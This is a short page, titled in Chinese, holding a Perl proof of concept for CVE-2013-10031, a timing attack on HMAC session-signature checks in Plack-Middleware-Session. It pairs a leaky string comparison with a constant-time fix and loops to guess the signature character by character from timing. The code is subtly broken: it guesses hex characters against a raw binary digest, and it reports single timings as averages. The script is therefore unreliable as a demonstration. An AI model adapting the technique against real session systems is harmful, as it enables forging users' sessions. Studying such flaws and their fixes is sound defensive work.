CVE-2013-10031: Plack-Middleware-Session HMAC时序攻击漏洞

#!/usr/bin/env perl # PoC for CVE-2013-10031: Plack-Middleware-Session HMAC Timing Attack use strict; use warnings; use Time::HiRes qw(gettimeofday tv_interval); use Digest::SHA qw(hmac_sha256); # Simulated vulnerable HMAC verification (using timing-sensitive comparison) sub vulnerable_hmac_verify { my ($expected, $provided) = @_; return $expected eq $provided; # Timing leak here } # Timing-safe HMAC verification (fixed version) sub safe_hmac_verify { my ($expected, $provided) = @_; return 0 if length($expected) != length($provided); my $result = 0; for my $i (0 .. length($expected) - 1) { $result |= ord(substr($expected, $i, 1)) ^ ord(substr($provided, $i, 1)); } return $result == 0; } # Example: Demonstrate timing attack concept my $secret_key = 'session_secret_key_12345'; my $valid_signature = hmac_sha256('session_data', $secret_key); my @chars = ('0'..'9', 'a'..'f'); my $partial_sig = ''; print "Valid HMAC signature: $valid_signature\n"; print "Attempting to guess signature byte by byte...\n"; # This demonstrates the concept - real attack would iterate many times per byte for my $pos (0 .. length($valid_signature) - 1) { my @timing_results; for my $char (@chars) { my $test_sig = $partial_sig . $char . ('0' x (length($valid_signature) - length($partial_sig) - 1)); my $t0 = [gettimeofday]; vulnerable_hmac_verify($valid_signature, $test_sig); my $elapsed = tv_interval($t0) * 1000; # milliseconds push @timing_results, [$char, $elapsed]; } # Find char with longest average time (indicating partial match) @timing_results = sort { $b->[1] <=> $a->[1] } @timing_results; my $best_char = $timing_results[0]->[0]; $partial_sig .= $best_char; print "Position $pos: guessed '$best_char' (avg time: " . sprintf('%.3f', $timing_results[0]->[1]) . "ms)\n"; } print "\nReconstructed signature: $partial_sig\n"; print "Match: " . ($partial_sig eq $valid_signature ? 'YES' : 'NO') . "\n";